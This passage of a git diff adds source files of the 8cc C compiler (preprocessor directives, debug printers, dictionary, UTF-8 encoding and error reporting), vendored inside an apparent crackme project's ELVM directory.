+ map_put(param, arg, make_macro_token(pos++, false)); + } +} + +static void hashhash_check(Vector *v) { + if (vec_len(v) == 0) + return; + if (is_keyword(vec_head(v), KHASHHASH)) + errort(vec_head(v), "'##' cannot appear at start of macro expansion"); + if (is_keyword(vec_tail(v), KHASHHASH)) + errort(vec_tail(v), "'##' cannot appear at end of macro expansion"); +} + +static Vector *read_funclike_macro_body(Map *param) { + Vector *r = make_vector(); + for (;;) { + Token *tok = lex(); + if (tok->kind == TNEWLINE) + return r; + if (tok->kind == TIDENT) { + Token *subst = map_get(param, tok->sval); + if (subst) { + subst = copy_token(subst); + subst->space = tok->space; + vec_push(r, subst); + continue; + } + } + vec_push(r, tok); + } +} + +static void read_funclike_macro(Token *name) { + Map *param = make_map(); + bool is_varg = read_funclike_macro_params(name, param); + Vector *body = read_funclike_macro_body(param); + hashhash_check(body); + Macro *macro = make_func_macro(body, map_len(param), is_varg); + map_put(macros, name->sval, macro); +} + +static void read_obj_macro(char *name) { + Vector *body = make_vector(); + for (;;) { + Token *tok = lex(); + if (tok->kind == TNEWLINE) + break; + vec_push(body, tok); + } + hashhash_check(body); + map_put(macros, name, make_obj_macro(body)); +} + +/* + * #define + */ + +static void read_define() { + Token *name = cpp_read_ident(); + Token *tok = lex(); + if (is_keyword(tok, '(') && !tok->space) { + read_funclike_macro(name); + return; + } + unget_token(tok); + read_obj_macro(name->sval); +} + +/* + * #undef + */ + +static void read_undef() { + Token *name = cpp_read_ident(); + expect_newline(); + map_remove(macros, name->sval); +} + +/* + * #if and the like + */ + +static Token *read_defined_op() { + Token *tok = lex(); + if (is_keyword(tok, '(')) { + tok = lex(); + cpp_expect(')'); + } + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + return map_get(macros, tok->sval) ? cpp_token_one : cpp_token_zero; +} + +static Vector *read_intexpr_line() { + Vector *r = make_vector(); + for (;;) { + Token *tok = read_expand_newline(); + if (tok->kind == TNEWLINE) + return r; + if (is_ident(tok, "defined")) { + vec_push(r, read_defined_op()); + } else if (tok->kind == TIDENT) { + // C11 6.10.1.4 says that remaining identifiers + // should be replaced with pp-number 0. + vec_push(r, cpp_token_zero); + } else { + vec_push(r, tok); + } + } +} + +static bool read_constexpr() { + token_buffer_stash(vec_reverse(read_intexpr_line())); + Node *expr = read_expr(); + Token *tok = lex(); + if (tok->kind != TEOF) + errort(tok, "stray token: %s", tok2s(tok)); + token_buffer_unstash(); + return eval_intexpr(expr, NULL); +} + +static void do_read_if(bool istrue) { + vec_push(cond_incl_stack, make_cond_incl(istrue)); + if (!istrue) + skip_cond_incl(); +} + +static void read_if() { + do_read_if(read_constexpr()); +} + +static void read_ifdef() { + Token *tok = lex(); + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + expect_newline(); + do_read_if(map_get(macros, tok->sval)); +} + +static void read_ifndef() { + Token *tok = lex(); + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + expect_newline(); + do_read_if(!map_get(macros, tok->sval)); + if (tok->count == 2) { + // "ifndef" is the second token in this file. + // Prepare to detect an include guard. + CondIncl *ci = vec_tail(cond_incl_stack); + ci->include_guard = tok->sval; + ci->file = tok->file; + } +} + +static void read_else(Token *hash) { + if (vec_len(cond_incl_stack) == 0) + errort(hash, "stray #else"); + CondIncl *ci = vec_tail(cond_incl_stack); + if (ci->ctx == IN_ELSE) + errort(hash, "#else appears in #else"); + expect_newline(); + ci->ctx = IN_ELSE; + ci->include_guard = NULL; + if (ci->wastrue) + skip_cond_incl(); +} + +static void read_elif(Token *hash) { + if (vec_len(cond_incl_stack) == 0) + errort(hash, "stray #elif"); + CondIncl *ci = vec_tail(cond_incl_stack); + if (ci->ctx == IN_ELSE) + errort(hash, "#elif after #else"); + ci->ctx = IN_ELIF; + ci->include_guard = NULL; + if (ci->wastrue || !read_constexpr()) { + skip_cond_incl(); + return; + } + ci->wastrue = true; +} + +// Skips all newlines and returns the first non-newline token. +static Token *skip_newlines() { + Token *tok = lex(); + while (tok->kind == TNEWLINE) + tok = lex(); + unget_token(tok); + return tok; +} + +static void read_endif(Token *hash) { + if (vec_len(cond_incl_stack) == 0) + errort(hash, "stray #endif"); + CondIncl *ci = vec_pop(cond_incl_stack); + expect_newline(); + + // Detect an #ifndef and #endif pair that guards the entire + // header file. Remember the macro name guarding the file + // so that we can skip the file next time. + if (!ci->include_guard || ci->file != hash->file) + return; + Token *last = skip_newlines(); + if (ci->file != last->file) + map_put(include_guard, ci->file->name, ci->include_guard); +} + +/* + * #error and #warning + */ + +static char *read_error_message() { + Buffer *b = make_buffer(); + for (;;) { + Token *tok = lex(); + if (tok->kind == TNEWLINE) + return buf_body(b); + if (buf_len(b) != 0 && tok->space) + buf_write(b, ' '); + buf_printf(b, "%s", tok2s(tok)); + } +} + +static void read_error(Token *hash) { + errort(hash, "#error: %s", read_error_message()); +} + +static void read_warning(Token *hash) { + warnt(hash, "#warning: %s", read_error_message()); +} + +/* + * #include + */ + +static char *join_paths(Vector *args) { + Buffer *b = make_buffer(); + for (int i = 0; i < vec_len(args); i++) + buf_printf(b, "%s", tok2s(vec_get(args, i))); + return buf_body(b); +} + +static char *read_cpp_header_name(Token *hash, bool *std) { + // Try reading a filename using a special tokenizer for #include. + char *path = read_header_file_name(std); + if (path) + return path; + + // If a token following #include does not start with < nor ", + // try to read the token as a regular token. Macro-expanded + // form may be a valid header file path. + Token *tok = read_expand_newline(); + if (tok->kind == TNEWLINE) + errort(hash, "expected filename, but got newline"); + if (tok->kind == TSTRING) { + *std = false; + return tok->sval; + } + if (!is_keyword(tok, '<')) + errort(tok, "< expected, but got %s", tok2s(tok)); + Vector *tokens = make_vector(); + for (;;) { + Token *tok = read_expand_newline(); + if (tok->kind == TNEWLINE) + errort(hash, "premature end of header name"); + if (is_keyword(tok, '>')) + break; + vec_push(tokens, tok); + } + *std = true; + return join_paths(tokens); +} + +static bool guarded(char *path) { + char *guard = map_get(include_guard, path); + bool r = (guard && map_get(macros, guard)); + define_obj_macro("__8cc_include_guard", r ? cpp_token_one : cpp_token_zero); + return r; +} + +#ifndef __eir__ +static bool try_include(char *dir, char *filename, bool isimport) { + char *path = fullpath(format("%s/%s", dir, filename)); + if (map_get(once, path)) + return true; + if (guarded(path)) + return true; + FILE *fp = fopen(path, "r"); + if (!fp) + return false; + if (isimport) + map_put(once, path, (void *)1); + stream_push(make_file(fp, path)); + return true; +} +#endif + +static void read_include(Token *hash, File *file, bool isimport) { +#ifdef __eir__ + error("#include is not supported"); +#else + bool std; + char *filename = read_cpp_header_name(hash, &std); + expect_newline(); + if (filename[0] == '/') { + if (try_include("/", filename, isimport)) + return; + goto err; + } + if (!std) { + char *dir = file->name ? dirname(strdup(file->name)) : "."; + if (try_include(dir, filename, isimport)) + return; + } + for (int i = 0; i < vec_len(std_include_path); i++) + if (try_include(vec_get(std_include_path, i), filename, isimport)) + return; + err: + errort(hash, "cannot find header file: %s", filename); +#endif +} + +static void read_include_next(Token *hash, File *file) { +#ifdef __eir__ + error("#include_next is not supported"); +#else + // [GNU] #include_next is a directive to include the "next" file + // from the search path. This feature is used to override a + // header file without getting into infinite inclusion loop. + // This directive doesn't distinguish <> and "". + bool std; + char *filename = read_cpp_header_name(hash, &std); + expect_newline(); + if (filename[0] == '/') { + if (try_include("/", filename, false)) + return; + goto err; + } + char *cur = fullpath(file->name); + int i = 0; + for (; i < vec_len(std_include_path); i++) { + char *dir = vec_get(std_include_path, i); + if (!strcmp(cur, fullpath(format("%s/%s", dir, filename)))) + break; + } + for (i++; i < vec_len(std_include_path); i++) + if (try_include(vec_get(std_include_path, i), filename, false)) + return; + err: + errort(hash, "cannot find header file: %s", filename); +#endif +} + +/* + * #pragma + */ + +static void parse_pragma_operand(Token *tok) { + char *s = tok->sval; +#ifdef __eir__ + errort(tok, "unknown #pragma: %s", s); +#else + if (!strcmp(s, "once")) { + char *path = fullpath(tok->file->name); + map_put(once, path, (void *)1); + } else if (!strcmp(s, "enable_warning")) { + enable_warning = true; + } else if (!strcmp(s, "disable_warning")) { + enable_warning = false; + } else { + errort(tok, "unknown #pragma: %s", s); + } +#endif +} + +static void read_pragma() { + Token *tok = cpp_read_ident(); + parse_pragma_operand(tok); +} + +/* + * #line + */ + +static bool is_digit_sequence(char *p) { + for (; *p; p++) + if (!isdigit(*p)) + return false; + return true; +} + +static void read_line() { + Token *tok = read_expand_newline(); + if (tok->kind != TNUMBER || !is_digit_sequence(tok->sval)) + errort(tok, "number expected after #line, but got %s", tok2s(tok)); + int line = atoi(tok->sval); + tok = read_expand_newline(); + char *filename = NULL; + if (tok->kind == TSTRING) { + filename = tok->sval; + expect_newline(); + } else if (tok->kind != TNEWLINE) { + errort(tok, "newline or a source name are expected, but got %s", tok2s(tok)); + } + File *f = current_file(); + f->line = line; + if (filename) + f->name = filename; +} + +// GNU CPP outputs "# linenum filename flags" to preserve original +// source file information. This function reads them. Flags are ignored. +static void read_linemarker(Token *tok) { + if (!is_digit_sequence(tok->sval)) + errort(tok, "line number expected, but got %s", tok2s(tok)); + int line = atoi(tok->sval); + tok = lex(); + if (tok->kind != TSTRING) + errort(tok, "filename expected, but got %s", tok2s(tok)); + char *filename = tok->sval; + do { + tok = lex(); + } while (tok->kind != TNEWLINE); + File *file = current_file(); + file->line = line; + file->name = filename; +} + +/* + * #-directive + */ + +static void read_directive(Token *hash) { + Token *tok = lex(); + if (tok->kind == TNEWLINE) + return; + if (tok->kind == TNUMBER) { + read_linemarker(tok); + return; + } + if (tok->kind != TIDENT) + goto err; + char *s = tok->sval; + if (!strcmp(s, "define")) read_define(); + else if (!strcmp(s, "elif")) read_elif(hash); + else if (!strcmp(s, "else")) read_else(hash); + else if (!strcmp(s, "endif")) read_endif(hash); + else if (!strcmp(s, "error")) read_error(hash); + else if (!strcmp(s, "if")) read_if(); + else if (!strcmp(s, "ifdef")) read_ifdef(); + else if (!strcmp(s, "ifndef")) read_ifndef(); + else if (!strcmp(s, "import")) read_include(hash, tok->file, true); + else if (!strcmp(s, "include")) read_include(hash, tok->file, false); + else if (!strcmp(s, "include_next")) read_include_next(hash, tok->file); + else if (!strcmp(s, "line")) read_line(); + else if (!strcmp(s, "pragma")) read_pragma(); + else if (!strcmp(s, "undef")) read_undef(); + else if (!strcmp(s, "warning")) read_warning(hash); + else goto err; + return; + + err: + errort(hash, "unsupported preprocessor directive: %s", tok2s(tok)); +} + +/* + * Special macros + */ + +static void make_token_pushback(Token *tmpl, int kind, char *sval) { + Token *tok = copy_token(tmpl); + tok->kind = kind; + tok->sval = sval; + tok->slen = strlen(sval) + 1; + tok->enc = ENC_NONE; + unget_token(tok); +} + +#ifndef __eir__ +static void handle_date_macro(Token *tmpl) { + char buf[20]; + strftime(buf, sizeof(buf), "%b %e %Y", &now); + make_token_pushback(tmpl, TSTRING, strdup(buf)); +} + +static void handle_time_macro(Token *tmpl) { + char buf[10]; + strftime(buf, sizeof(buf), "%T", &now); + make_token_pushback(tmpl, TSTRING, strdup(buf)); +} + +static void handle_timestamp_macro(Token *tmpl) { + // [GNU] __TIMESTAMP__ is expanded to a string that describes the date + // and time of the last modification time of the current source file. + char buf[30]; + strftime(buf, sizeof(buf), "%a %b %e %T %Y", localtime(&tmpl->file->mtime)); + make_token_pushback(tmpl, TSTRING, strdup(buf)); +} +#endif + +static void handle_file_macro(Token *tmpl) { + make_token_pushback(tmpl, TSTRING, tmpl->file->name); +} + +static void handle_line_macro(Token *tmpl) { + make_token_pushback(tmpl, TNUMBER, format("%d", tmpl->file->line)); +} + +static void handle_pragma_macro(Token *tmpl) { + cpp_expect('('); + Token *operand = read_token(); + if (operand->kind != TSTRING) + errort(operand, "_Pragma takes a string literal, but got %s", tok2s(operand)); + cpp_expect(')'); + parse_pragma_operand(operand); + make_token_pushback(tmpl, TNUMBER, "1"); +} + +static void handle_base_file_macro(Token *tmpl) { + make_token_pushback(tmpl, TSTRING, get_base_file()); +} + +static void handle_counter_macro(Token *tmpl) { + static int counter = 0; + make_token_pushback(tmpl, TNUMBER, format("%d", counter++)); +} + +static void handle_include_level_macro(Token *tmpl) { + make_token_pushback(tmpl, TNUMBER, format("%d", stream_depth() - 1)); +} + +/* + * Initializer + */ + +void add_include_path(char *path) { + vec_push(std_include_path, path); +} + +static void define_obj_macro(char *name, Token *value) { + map_put(macros, name, make_obj_macro(make_vector1(value))); +} + +static void define_special_macro(char *name, SpecialMacroHandler *fn) { + map_put(macros, name, make_special_macro(fn)); +} + +static void init_keywords() { +#define op(id, str) map_put(keywords, str, (void *)id); +#define keyword(id, str, _) map_put(keywords, str, (void *)id); +#include "keyword.inc" +#undef keyword +#undef op +} + +static void init_predefined_macros() { +#if 0 + vec_push(std_include_path, BUILD_DIR "/include"); + vec_push(std_include_path, "/usr/local/lib/8cc/include"); + vec_push(std_include_path, "/usr/local/include"); + vec_push(std_include_path, "/usr/include"); + vec_push(std_include_path, "/usr/include/linux"); + vec_push(std_include_path, "/usr/include/x86_64-linux-gnu"); +#endif + +#ifndef __eir__ + define_special_macro("__DATE__", handle_date_macro); + define_special_macro("__TIME__", handle_time_macro); +#endif + define_special_macro("__FILE__", handle_file_macro); + define_special_macro("__LINE__", handle_line_macro); + define_special_macro("_Pragma", handle_pragma_macro); + // [GNU] Non-standard macros + define_special_macro("__BASE_FILE__", handle_base_file_macro); + define_special_macro("__COUNTER__", handle_counter_macro); + define_special_macro("__INCLUDE_LEVEL__", handle_include_level_macro); +#ifndef __eir__ + define_special_macro("__TIMESTAMP__", handle_timestamp_macro); +#endif + +#if 0 + read_from_string("#include <" BUILD_DIR "/include/8cc.h>"); +#else + read_from_string("#define _LP64 1"); + read_from_string("#define __8cc__ 1"); + read_from_string("#define __ELF__ 1"); + read_from_string("#define __LP64__ 1"); + read_from_string("#define __SIZEOF_DOUBLE__ 1"); + read_from_string("#define __SIZEOF_FLOAT__ 1"); + read_from_string("#define __SIZEOF_INT__ 1"); + read_from_string("#define __SIZEOF_LONG_DOUBLE__ 1"); + read_from_string("#define __SIZEOF_LONG_LONG__ 1"); + read_from_string("#define __SIZEOF_LONG__ 1"); + read_from_string("#define __SIZEOF_POINTER__ 1"); + read_from_string("#define __SIZEOF_PTRDIFF_T__ 1"); + read_from_string("#define __SIZEOF_SHORT__ 1"); + read_from_string("#define __SIZEOF_SIZE_T__ 1"); + read_from_string("#define __STDC_HOSTED__ 1"); + read_from_string("#define __STDC_ISO_10646__ 201103L"); + read_from_string("#define __STDC_NO_ATOMICS__ 1"); + read_from_string("#define __STDC_NO_COMPLEX__ 1"); + read_from_string("#define __STDC_NO_THREADS__ 1"); + read_from_string("#define __STDC_NO_VLA__ 1"); + read_from_string("#define __STDC_UTF_16__ 1"); + read_from_string("#define __STDC_UTF_32__ 1"); + read_from_string("#define __STDC_VERSION__ 201112L"); + read_from_string("#define __STDC__ 1"); + read_from_string("#define __eir__ 1"); +#endif +} + +void init_now() { +#ifndef __eir__ + time_t timet = time(NULL); + localtime_r(&timet, &now); +#endif +} + +void cpp_init() { + setlocale(LC_ALL, "C"); + init_keywords(); + init_now(); + init_predefined_macros(); +} + +/* + * Public intefaces + */ + +static Token *maybe_convert_keyword(Token *tok) { + if (tok->kind != TIDENT) + return tok; + int id = (intptr_t)map_get(keywords, tok->sval); + if (!id) + return tok; + Token *r = copy_token(tok); + r->kind = TKEYWORD; + r->id = id; + return r; +} + +// Reads from a string as if the string is a content of input file. +// Convenient for evaluating small string snippet contaiing preprocessor macros. +void read_from_string(char *buf) { + stream_stash(make_file_string(buf)); + Vector *toplevels = read_toplevels(); + for (int i = 0; i < vec_len(toplevels); i++) + emit_toplevel(vec_get(toplevels, i)); + stream_unstash(); +} + +Token *peek_token() { + Token *r = read_token(); + unget_token(r); + return r; +} + +Token *read_token() { + Token *tok; + for (;;) { + tok = read_expand(); + if (tok->bol && is_keyword(tok, '#') && tok->hideset == NULL) { + read_directive(tok); + continue; + } + assert(tok->kind < MIN_CPP_TOKEN); + return maybe_convert_keyword(tok); + } +} diff --git a/crackme.tscript.dso/elvm/8cc/debug.c b/crackme.tscript.dso/elvm/8cc/debug.c new file mode 100644 index 0000000..3edf946 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/debug.c @@ -0,0 +1,318 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include "8cc.h" + +static char *decorate_int(char *name, Type *ty) { + char *u = (ty->usig) ? "u" : ""; + if (ty->bitsize > 0) + return format("%s%s:%d:%d", u, name, ty->bitoff, ty->bitoff + ty->bitsize); + return format("%s%s", u, name); +} + +static char *do_ty2s(Dict *dict, Type *ty) { + if (!ty) + return "(nil)"; + switch (ty->kind) { + case KIND_VOID: return "void"; + case KIND_BOOL: return "_Bool"; + case KIND_CHAR: return decorate_int("char", ty); + case KIND_SHORT: return decorate_int("short", ty); + case KIND_INT: return decorate_int("int", ty); + case KIND_LONG: return decorate_int("long", ty); + case KIND_LLONG: return decorate_int("llong", ty); + case KIND_FLOAT: return "float"; + case KIND_DOUBLE: return "double"; + case KIND_LDOUBLE: return "long double"; + case KIND_PTR: + return format("*%s", do_ty2s(dict, ty->ptr)); + case KIND_ARRAY: + return format("[%d]%s", ty->len, do_ty2s(dict, ty->ptr)); + case KIND_STRUCT: { + char *kind = ty->is_struct ? "struct" : "union"; + if (dict_get(dict, format("%p", ty))) + return format("(%s)", kind); + dict_put(dict, format("%p", ty), (void *)1); + if (ty->fields) { + Buffer *b = make_buffer(); + buf_printf(b, "(%s", kind); + Vector *keys = dict_keys(ty->fields); + for (int i = 0; i < vec_len(keys); i++) { + char *key = vec_get(keys, i); + Type *fieldtype = dict_get(ty->fields, key); + buf_printf(b, " (%s)", do_ty2s(dict, fieldtype)); + } + buf_printf(b, ")"); + return buf_body(b); + } + } + case KIND_FUNC: { + Buffer *b = make_buffer(); + buf_printf(b, "("); + if (ty->params) { + for (int i = 0; i < vec_len(ty->params); i++) { + if (i > 0) + buf_printf(b, ","); + Type *t = vec_get(ty->params, i); + buf_printf(b, "%s", do_ty2s(dict, t)); + } + } + buf_printf(b, ")=>%s", do_ty2s(dict, ty->rettype)); + return buf_body(b); + } + default: + return format("(Unknown ty: %d)", ty->kind); + } +} + +char *ty2s(Type *ty) { + return do_ty2s(make_dict(), ty); +} + +static void uop_to_string(Buffer *b, char *op, Node *node) { + buf_printf(b, "(%s %s)", op, node2s(node->operand)); +} + +static void binop_to_string(Buffer *b, char *op, Node *node) { + buf_printf(b, "(%s %s %s)", op, node2s(node->left), node2s(node->right)); +} + +static void a2s_declinit(Buffer *b, Vector *initlist) { + for (int i = 0; i < vec_len(initlist); i++) { + if (i > 0) + buf_printf(b, " "); + Node *init = vec_get(initlist, i); + buf_printf(b, "%s", node2s(init)); + } +} + +static void do_node2s(Buffer *b, Node *node) { + if (!node) { + buf_printf(b, "(nil)"); + return; + } + switch (node->kind) { + case AST_LITERAL: + switch (node->ty->kind) { + case KIND_CHAR: + if (node->ival == '\n') buf_printf(b, "'\n'"); + else if (node->ival == '\\') buf_printf(b, "'\\\\'"); + else if (node->ival == '\0') buf_printf(b, "'\\0'"); + else buf_printf(b, "'%c'", node->ival); + break; + case KIND_INT: + buf_printf(b, "%d", node->ival); + break; + case KIND_LONG: + buf_printf(b, "%ldL", node->ival); + break; + case KIND_LLONG: + buf_printf(b, "%lldL", node->ival); + break; + case KIND_FLOAT: + case KIND_DOUBLE: + case KIND_LDOUBLE: + buf_printf(b, "%f", node->fval); + break; + case KIND_ARRAY: + buf_printf(b, "\"%s\"", quote_cstring(node->sval)); + break; + default: + error("internal error"); + } + break; + case AST_LABEL: + buf_printf(b, "%s:", node->label); + break; + case AST_LVAR: + buf_printf(b, "lv=%s", node->varname); + if (node->lvarinit) { + buf_printf(b, "("); + a2s_declinit(b, node->lvarinit); + buf_printf(b, ")"); + } + break; + case AST_GVAR: + buf_printf(b, "gv=%s", node->varname); + break; + case AST_FUNCALL: + case AST_FUNCPTR_CALL: { + buf_printf(b, "(%s)%s(", ty2s(node->ty), + node->kind == AST_FUNCALL ? node->fname : node2s(node)); + for (int i = 0; i < vec_len(node->args); i++) { + if (i > 0) + buf_printf(b, ","); + buf_printf(b, "%s", node2s(vec_get(node->args, i))); + } + buf_printf(b, ")"); + break; + } + case AST_FUNCDESG: { + buf_printf(b, "(funcdesg %s)", node->fname); + break; + } + case AST_FUNC: { + buf_printf(b, "(%s)%s(", ty2s(node->ty), node->fname); + for (int i = 0; i < vec_len(node->params); i++) { + if (i > 0) + buf_printf(b, ","); + Node *param = vec_get(node->params, i); + buf_printf(b, "%s %s", ty2s(param->ty), node2s(param)); + } + buf_printf(b, ")"); + do_node2s(b, node->body); + break; + } + case AST_GOTO: + buf_printf(b, "goto(%s)", node->label); + break; + case AST_DECL: + buf_printf(b, "(decl %s %s", + ty2s(node->declvar->ty), + node->declvar->varname); + if (node->declinit) { + buf_printf(b, " "); + a2s_declinit(b, node->declinit); + } + buf_printf(b, ")"); + break; + case AST_INIT: + buf_printf(b, "%s@%d", node2s(node->initval), node->initoff, ty2s(node->totype)); + break; + case AST_CONV: + buf_printf(b, "(conv %s=>%s)", node2s(node->operand), ty2s(node->ty)); + break; + case AST_IF: + buf_printf(b, "(if %s %s", + node2s(node->cond), + node2s(node->then)); + if (node->els) + buf_printf(b, " %s", node2s(node->els)); + buf_printf(b, ")"); + break; + case AST_TERNARY: + buf_printf(b, "(? %s %s %s)", + node2s(node->cond), + node2s(node->then), + node2s(node->els)); + break; + case AST_RETURN: + buf_printf(b, "(return %s)", node2s(node->retval)); + break; + case AST_COMPOUND_STMT: { + buf_printf(b, "{"); + for (int i = 0; i < vec_len(node->stmts); i++) { + do_node2s(b, vec_get(node->stmts, i)); + buf_printf(b, ";"); + } + buf_printf(b, "}"); + break; + } + case AST_STRUCT_REF: + do_node2s(b, node->struc); + buf_printf(b, "."); + buf_printf(b, node->field); + break; + case AST_ADDR: uop_to_string(b, "addr", node); break; + case AST_DEREF: uop_to_string(b, "deref", node); break; + case OP_SAL: binop_to_string(b, "<<", node); break; + case OP_SAR: + case OP_SHR: binop_to_string(b, ">>", node); break; + case OP_GE: binop_to_string(b, ">=", node); break; + case OP_LE: binop_to_string(b, "<=", node); break; + case OP_NE: binop_to_string(b, "!=", node); break; + case OP_PRE_INC: uop_to_string(b, "pre++", node); break; + case OP_PRE_DEC: uop_to_string(b, "pre--", node); break; + case OP_POST_INC: uop_to_string(b, "post++", node); break; + case OP_POST_DEC: uop_to_string(b, "post--", node); break; + case OP_LOGAND: binop_to_string(b, "and", node); break; + case OP_LOGOR: binop_to_string(b, "or", node); break; + case OP_A_ADD: binop_to_string(b, "+=", node); break; + case OP_A_SUB: binop_to_string(b, "-=", node); break; + case OP_A_MUL: binop_to_string(b, "*=", node); break; + case OP_A_DIV: binop_to_string(b, "/=", node); break; + case OP_A_MOD: binop_to_string(b, "%=", node); break; + case OP_A_AND: binop_to_string(b, "&=", node); break; + case OP_A_OR: binop_to_string(b, "|=", node); break; + case OP_A_XOR: binop_to_string(b, "^=", node); break; + case OP_A_SAL: binop_to_string(b, "<<=", node); break; + case OP_A_SAR: + case OP_A_SHR: binop_to_string(b, ">>=", node); break; + case '!': uop_to_string(b, "!", node); break; + case '&': binop_to_string(b, "&", node); break; + case '|': binop_to_string(b, "|", node); break; + case OP_CAST: { + buf_printf(b, "((%s)=>(%s) %s)", + ty2s(node->operand->ty), + ty2s(node->ty), + node2s(node->operand)); + break; + } + case OP_LABEL_ADDR: + buf_printf(b, "&&%s", node->label); + break; + default: { + char *left = node2s(node->left); + char *right = node2s(node->right); + if (node->kind == OP_EQ) + buf_printf(b, "(== "); + else + buf_printf(b, "(%c ", node->kind); + buf_printf(b, "%s %s)", left, right); + } + } +} + +char *node2s(Node *node) { + Buffer *b = make_buffer(); + do_node2s(b, node); + return buf_body(b); +} + +static char *encoding_prefix(int enc) { + switch (enc) { + case ENC_CHAR16: return "u"; + case ENC_CHAR32: return "U"; + case ENC_UTF8: return "u8"; + case ENC_WCHAR: return "L"; + } + return ""; +} + +char *tok2s(Token *tok) { + if (!tok) + return "(null)"; + switch (tok->kind) { + case TIDENT: + return tok->sval; + case TKEYWORD: + switch (tok->id) { +#define op(id, str) case id: return str; +#define keyword(id, str, _) case id: return str; +#include "keyword.inc" +#undef keyword +#undef op + default: return format("%c", tok->id); + } + case TCHAR: + return format("%s'%s'", + encoding_prefix(tok->enc), + quote_char(tok->c)); + case TNUMBER: + return tok->sval; + case TSTRING: + return format("%s\"%s\"", + encoding_prefix(tok->enc), + quote_cstring(tok->sval)); + case TEOF: + return "(eof)"; + case TINVALID: + return format("%c", tok->c); + case TNEWLINE: + return "(newline)"; + case TSPACE: + return "(space)"; + case TMACRO_PARAM: + return "(macro-param)"; + } + error("internal error: unknown token kind: %d", tok->kind); +} diff --git a/crackme.tscript.dso/elvm/8cc/dict.c b/crackme.tscript.dso/elvm/8cc/dict.c new file mode 100644 index 0000000..cbdabab --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/dict.c @@ -0,0 +1,24 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include +#include "8cc.h" + +Dict *make_dict() { + Dict *r = malloc(sizeof(Dict)); + r->map = make_map(); + r->key = make_vector(); + return r; +} + +void *dict_get(Dict *dict, char *key) { + return map_get(dict->map, key); +} + +void dict_put(Dict *dict, char *key, void *val) { + map_put(dict->map, key, val); + vec_push(dict->key, key); +} + +Vector *dict_keys(Dict *dict) { + return dict->key; +} diff --git a/crackme.tscript.dso/elvm/8cc/encoding.c b/crackme.tscript.dso/elvm/8cc/encoding.c new file mode 100644 index 0000000..22e73d9 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/encoding.c @@ -0,0 +1,106 @@ +// Copyright 2015 Rui Ueyama. Released under the MIT license. + +// This file defines functions to convert UTF-8 strings to UTF-16 or UTF-32. +// +// 8cc uses UTF-16 for string literals prefixed with u (char16_t strings). +// UTF-32 is used for string literals prefixed with L or U +// (wchar_t or char32_t strings). +// Unprefixed or u8 strings are supposed to be in UTF-8 endcoding. +// Source files are supposed to be written in UTF-8. + +#include "8cc.h" + +static int count_leading_ones(char c) { + for (int i = 7; i >= 0; i--) + if ((c & (1 << i)) == 0) + return 7 - i; + return 8; +} + +static int read_rune(uint32_t *r, char *s, char *end) { + int len = count_leading_ones(s[0]); + if (len == 0) { + *r = s[0]; + return 1; + } + if (s + len > end) + error("invalid UTF-8 sequence"); + for (int i = 1; i < len; i++) + if ((s[i] & 0xC0) != 0x80) + error("invalid UTF-8 continuation byte"); + switch (len) { + case 2: + *r = ((s[0] & 0x1F) << 6) | (s[1] & 0x3F); + return 2; + case 3: + *r = ((s[0] & 0xF) << 12) | ((s[1] & 0x3F) << 6) | (s[2] & 0x3F); + return 3; + case 4: + *r = ((s[0] & 0x7) << 18) | ((s[1] & 0x3F) << 12) | ((s[2] & 0x3F) << 6) | (s[3] & 0x3F); + return 4; + } + error("invalid UTF-8 sequence"); +} + +static void write16(Buffer *b, uint16_t x) { + buf_write(b, x & 0xFF); + buf_write(b, x >> 8); +} + +static void write32(Buffer *b, uint32_t x) { + write16(b, x & 0xFFFF); + write16(b, x >> 16); +} + +Buffer *to_utf16(char *p, int len) { + Buffer *b = make_buffer(); + char *end = p + len; + while (p != end) { + uint32_t rune; + p += read_rune(&rune, p, end); + if (rune < 0x10000) { + write16(b, rune); + } else { + write16(b, (rune >> 10) + 0xD7C0); + write16(b, (rune & 0x3FF) + 0xDC00); + } + } + return b; +} + +Buffer *to_utf32(char *p, int len) { + Buffer *b = make_buffer(); + char *end = p + len; + while (p != end) { + uint32_t rune; + p += read_rune(&rune, p, end); + write32(b, rune); + } + return b; +} + +void write_utf8(Buffer *b, uint32_t rune) { + if (rune < 0x80) { + buf_write(b, rune); + return; + } + if (rune < 0x800) { + buf_write(b, 0xC0 | (rune >> 6)); + buf_write(b, 0x80 | (rune & 0x3F)); + return; + } + if (rune < 0x10000) { + buf_write(b, 0xE0 | (rune >> 12)); + buf_write(b, 0x80 | ((rune >> 6) & 0x3F)); + buf_write(b, 0x80 | (rune & 0x3F)); + return; + } + if (rune < 0x200000) { + buf_write(b, 0xF0 | (rune >> 18)); + buf_write(b, 0x80 | ((rune >> 12) & 0x3F)); + buf_write(b, 0x80 | ((rune >> 6) & 0x3F)); + buf_write(b, 0x80 | (rune & 0x3F)); + return; + } + error("invalid UCS character: \\U%08x", rune); +} diff --git a/crackme.tscript.dso/elvm/8cc/error.c b/crackme.tscript.dso/elvm/8cc/error.c new file mode 100644 index 0000000..e6fcac4 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/error.c @@ -0,0 +1,44 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include +#include +#include +#include "8cc.h" + +bool enable_warning = true; +bool warning_is_error = false; + +static void print_error(char *line, char *pos, char *label, char *fmt, va_list args) { + fprintf(stderr, isatty(fileno(stderr)) ? "\e[1;31m[%s]\e[0m " : "[%s] ", label); + fprintf(stderr, "%s: %s: ", line, pos); + vfprintf(stderr, fmt, args); + fprintf(stderr, "\n"); +} + +void errorf(char *line, char *pos, char *fmt, ...) { + va_list args; + va_start(args, fmt); + print_error(line, pos, "ERROR", fmt, args); + va_end(args); + exit(1); +} + +void warnf(char *line, char *pos, char *fmt, ...) { + if (!enable_warning) + return; + char *label = warning_is_error ? "ERROR" : "WARN"; + va_list args; + va_start(args, fmt); + print_error(line, pos, label, fmt, args); + va_end(args); + if (warning_is_error) + exit(1); +} + +char *token_pos(Token *tok) { + File *f = tok->file; + if (!f) + return "(unknown)"; + char *name = f->name ? f->name : "(unknown)"; + return format("%s:%d:%d", name, 